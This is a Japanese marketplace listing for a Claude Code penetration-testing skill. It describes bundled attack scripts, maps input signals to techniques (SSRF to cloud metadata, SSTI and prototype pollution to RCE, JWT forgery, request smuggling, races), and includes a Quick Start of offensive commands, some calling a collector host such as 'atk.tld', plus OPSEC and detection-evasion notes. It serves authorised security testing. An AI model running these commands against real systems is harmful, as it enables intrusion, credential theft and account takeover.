mcpField
W
web-pentest

web-pentest

github.com/hypnguyen1209セキュリティ40345 回インストール1 週間前に更新
リポジトリ

web-pentest について

Web、API、認証、ビジネスロジックの評価を扱う Web アプリケーションのペネトレーションテストスキルです。観察した入力の特徴から関連資料へ誘導し、一般的なテスト領域のスクリプトと手順をまとめています。

主な機能

  1. 01シグナルに応じたテスト選択
  2. 02Web と API の脆弱性対応
  3. 03認証とアクセス制御のテスト
  4. 04デシンク、キャッシュ、競合状態のテスト
  5. 05リファレンスと補助スクリプト

活用シーン

  1. 01偵察後の Web アプリ評価
  2. 02API 認証とアクセス制御のテスト
  3. 03入力に起因するインジェクションや SSRF リスクの調査
  4. 04ビジネスロジックのフローと競合状態の検証

MCP 対応

proxy-mcp-integration.md で、稼働中の Burp/Caido プロキシ MCP を使ったトラフィックの確認と再送を案内しています。データ境界でのヘッダー秘匿も指定しています。

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/hypnguyen1209/offensive-claude --skill web-pentest

インストール後、Claude Code で/web-pentestを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

references/
auth-api-access-control.md
business-logic-abuse.md
http-desync-cache.md
injection-sqli-cmdi.md
proxy-mcp-integration.md
ssrf-cloud-metadata.md
ssti-deserialization.md
xss-csp-clientside.md
scripts/
desync_probe.py
graphql_audit.py
jwt_forge.py
proto_ssti_gadgets.py
race_single_packet.py
session_entropy.py
ssrf_toolkit.py
xss_csp_forge.py

詳細

Web アプリケーションのペネトレーションテスト

有効化するタイミング

  • Web アプリケーションのセキュリティ評価(ブラックボックス/グレーボックス/ホワイトボックス)
  • API のセキュリティテスト(REST、GraphQL、WebSocket)
  • 認証とセッション管理のテスト(JWT、OAuth/OIDC、SAML)
  • ビジネスロジックと競合状態の調査
  • WAF/CSP のバイパス、フィルター回避、CDN レイヤーへの攻撃(デシンク、キャッシュ)
  • 最新の 2024-2026 年の攻撃ベクトルの検証:HTTP/1.1 デシンク(0.CL/TE.0)、SSRF->クラウド メタデータ、プロトタイプ汚染->RCE、SSTI サンドボックスの回避

入力シグナルによるルーティング(X を確認したときのテスト)

テストをすばやく選択 — 観察したパラメーター/挙動から、適切な詳細調査へ進みます:

観察された入力シグナルテスト対象参照先
id、uid、order_id、account、GUID/連番の参照値IDOR/BOLA、アクセス制御references/auth-api-access-control.md
url、next、callback、dest、webhook、image_urlSSRF + クラウドメタデータ、オープンリダイレクト、OAuth チェーンreferences/ssrf-cloud-metadata.md
price、qty、coupon、balance、status、状態の変更ビジネスロジック + シングルパケット競合references/http-desync-cache.md(競合)
出力に反映されるテンプレート/プレビュー/名前SSTI -> RCE、反射型 XSSreferences/ssti-deserialization.md
反映される検索/フィルター/ソート、q=、入力をエコーするエラーSQLi、XSS、コマンドインジェクションreferences/injection-sqli-cmdi.md
token、jwt、Authorization、Cookie、OAuth の stateJWT の偽造、セッション/OAuth の脆弱性references/auth-api-access-control.md
空/未指定/session=、認証情報なしでログインできる、user[$ne]=認証チェックの改ざん(空/null/NoSQL/型のすり替え/HPP)、トークン予測references/auth-api-access-control.md
シリアル化された blob/base64 オブジェクト/__proto__デシリアライズ、プロトタイプ汚染references/ssti-deserialization.md
CDN/キャッシュの背後、X-Forwarded-*、キー付きパラメーターデシンク(0.CL/TE.0)、キャッシュポイズニングreferences/http-desync-cache.md

Technique Map

TechniqueATT&CKCWEReferenceScript
SQL injection (UNION/blind/NoSQL)T1190CWE-89references/injection-sqli-cmdi.mdscripts/ssrf_toolkit.py (probe pattern) / sqlmap
OS command / argument injectionT1059CWE-78 / CWE-88references/injection-sqli-cmdi.md-
Reflected/stored/DOM XSST1059.007CWE-79references/xss-csp-clientside.mdscripts/xss_csp_forge.py
CSP bypass / script gadgetsT1059.007CWE-1021references/xss-csp-clientside.mdscripts/xss_csp_forge.py
Client-side prototype pollution -> XSST1059.007CWE-1321references/xss-csp-clientside.mdscripts/xss_csp_forge.py
SSRF + cloud metadata theftT1552.005CWE-918references/ssrf-cloud-metadata.mdscripts/ssrf_toolkit.py
IMDSv2 bypass (Axios gadget)T1552.005CWE-113references/ssrf-cloud-metadata.mdscripts/proto_ssti_gadgets.py
HTTP request smuggling / desyncT1190CWE-444references/http-desync-cache.mdscripts/desync_probe.py
Web cache poisoning / deceptionT1557CWE-525references/http-desync-cache.mdscripts/desync_probe.py
SSTI -> RCE (Jinja2/Twig/FM/...)T1059CWE-1336references/ssti-deserialization.mdscripts/proto_ssti_gadgets.py
Server-side prototype pollution -> RCET1059CWE-1321references/ssti-deserialization.mdscripts/proto_ssti_gadgets.py
Insecure deserialization (Java/.NET/PHP)T1059CWE-502references/ssti-deserialization.mdysoserial / ysoserial.net
JWT forgery (none/confusion/jku/jwk/kid)T1078CWE-347references/auth-api-access-control.mdscripts/jwt_forge.py
Auth-check tampering (empty/null/NoSQL-op/type-juggle/HPP)T1556CWE-287 / CWE-697 / CWE-943references/auth-api-access-control.md-
Session token prediction (weak PRNG/entropy)T1539CWE-330references/auth-api-access-control.mdscripts/session_entropy.py
OAuth/OIDC/SAML auth bypassT1078CWE-287references/auth-api-access-control.mdscripts/jwt_forge.py
GraphQL abuse (batch/alias/depth)T1190CWE-770references/auth-api-access-control.mdscripts/graphql_audit.py
IDOR / BOLA / mass assignmentT1078CWE-639 / CWE-915references/auth-api-access-control.md-
Race condition (single-packet)T1190CWE-362references/auth-api-access-control.mdscripts/race_single_packet.py
Business-logic abuse (price/refund/workflow/race)T1539CWE-841references/business-logic-abuse.mdscripts/race_single_packet.py
HTTP Parameter Pollution (HPP)T1190CWE-235 / CWE-88references/injection-sqli-cmdi.md-
File-upload -> webshell / RCET1505.003CWE-434references/injection-sqli-cmdi.md-

Quick Start

# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.
#    Spider + content discovery
ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json
nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig

# 1. Injection — automated SQLi, manual cmdi
sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment

# 2. XSS / CSP
python3 scripts/xss_csp_forge.py contexts --collector atk.tld
python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"

# 3. SSRF -> cloud metadata
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
python3 scripts/ssrf_toolkit.py cloud --provider aws

# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)
python3 scripts/desync_probe.py https://t --probe all --verbose

# 5. SSTI / prototype pollution / deserialization
python3 scripts/proto_ssti_gadgets.py detect
python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 scripts/proto_ssti_gadgets.py proto --cmd "id"

# 6. Auth & API
python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin
python3 scripts/graphql_audit.py introspect https://t/graphql

# 7. Logic / race
python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."

# -> feed each confirmed issue into templates/exploit/findings/ with
#    severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.

OPSEC と検知(概要)

手法テレメトリ/IOC検知(Sigma/EDR)OPSEC に関する注意
SQLi/cmdiSQL キーワード、SLEEP/WAITFOR、Web サービスが sh/curl を起動Web サーバーの正規表現 Sigma;www-data から子シェルが起動した場合の EDR時間ベースは遅く、ノイズも多いため、まずインバンド読み取りを試します。--random-agent --delay
XSS/CSP/クライアント側 PPパラメーター内の <script、onerror=、__proto__;CSP report-uri へのアクセスWeb サーバーの正規表現;Trusted-Types 違反アラート永続的な __proto__ は共有キャッシュページを破損させる可能性があるため、避けてください
SSRF/メタデータアプリケーション層から 169.254.169.254/メタデータホストへのアクセスプロキシ Sigma;GuardDuty の認証情報流出トークン取得の実証にとどめます。コラボレーターのサブドメインをローテーションしてください
HTTP デシンク/キャッシュCL と TE の併用、obs-fold、CDN への OPTIONS での Expectプロキシ Sigma;曖昧なフレーミングを拒否同じテナントのトラフィックを汚染するため、対象を限定し、本番環境で POST スマグリングを行わないでください
SSTI/PP/デシリアライズ{{ }}/${ }、NODE_OPTIONS、rO0AB、JNDI の外向き通信Web サーバー/本文の Sigma;java から LDAP/RMI への通信を検知する EDRまず id で調査します。リバースシェルは EDR を作動させるため、汚染した設定を元に戻してください
JWT/OAuth/GraphQLalg:none、不明な jku/kid、複数オペレーションを含む GraphQL 本文アプリケーション Sigma;検証失敗の急増偽造 JWT の試行はアラートの対象です。GraphQL のブルートフォースでは、ワードリストとレートを制限してください
レース(シングルパケット)ほぼ同時に送信される、状態変更リクエストのバースト1 秒間のウィンドウ内にエンドポイントごとにレートを制限する Sigma-n を小さく保ち、クリーンアップのため、変更された状態を記録してください

詳細解説

  • references/injection-sqli-cmdi.md — SQLi(UNION/ブラインド/エラー/NoSQL)、OS コマンド と引数のインジェクション、HTTP Parameter Pollution(HPP)、ファイルアップロードから Web シェル/RCE への攻撃、 sqlmap のタンパーワークフロー、最新の WAF/Unicode 回避。
  • references/xss-csp-clientside.md — XSS コンテキスト、DOM シンク、CSP バイパス+ スクリプトガジェット、クライアント側プロトタイプ汚染から XSS への攻撃、mXSS/サニタイザーバイパス。
  • references/ssrf-cloud-metadata.md — SSRF パーサーの混乱、gopher/redis、 AWS/GCP/Azure のメタデータ、IMDSv2 の実態+Axios のバイパス、HTML から PDF への切り替え、 2024~2026 年の CVE(Azure OpenAI、Oracle EBS、Next.js、ColdFusion)。
  • references/http-desync-cache.md — CL.TE/TE.CL、TE.0(2024)、0.CL/Expect と CVE-2025-32094(Akamai)、TE.TE chunk-ext、キャッシュポイズニング/キャッシュ詐欺 (「Gotta cache 'em all」、ACM CCS 2024)、パイプライン処理とデシンクの注意点。
  • references/ssti-deserialization.md — エンジンごとの SSTI RCE、サンドボックス脱出 (CVE-2024-22195、Frappe/XWiki/Yeti)、Node のプロトタイプ汚染から RCE への攻撃(GHunter、 NODE_OPTIONS --import)、Java/.NET/PHP のデシリアライズガジェットチェーン。
  • references/auth-api-access-control.md — JWT 偽造、OAuth/OIDC/SAML、GraphQL のバッチ/エイリアス/深度の悪用、セッションと認証チェックの改ざん(空/null/falsy 値、 認証処理への NoSQL 演算子+型ジャグリング+HPP)、セッショントークンの予測/エントロピー (scripts/session_entropy.py)、クロスアイデンティティテスト用のテストアカウント設定、 IDOR/BOLA/一括割り当て、HTTP/2 のシングルパケットレース攻撃。
  • references/business-logic-abuse.md — 想定される状態機械をモデル化し、その後、遷移を破ります。 価格/数量/クーポンの改ざん、返金/支払いとシングルパケットレース、 ワークフローのステップスキップ、冪等性の欠落、テナント/ロールの混同、脆弱性の連鎖。
  • references/proxy-mcp-integration.md — 稼働中の Burp/Caido プロキシ MCP を操作し、 実際のトラフィックを確認して認証付きで再生します。データ境界ではヘッダーの秘匿化 (redact_headers.py)を必ず行ってください。

コメント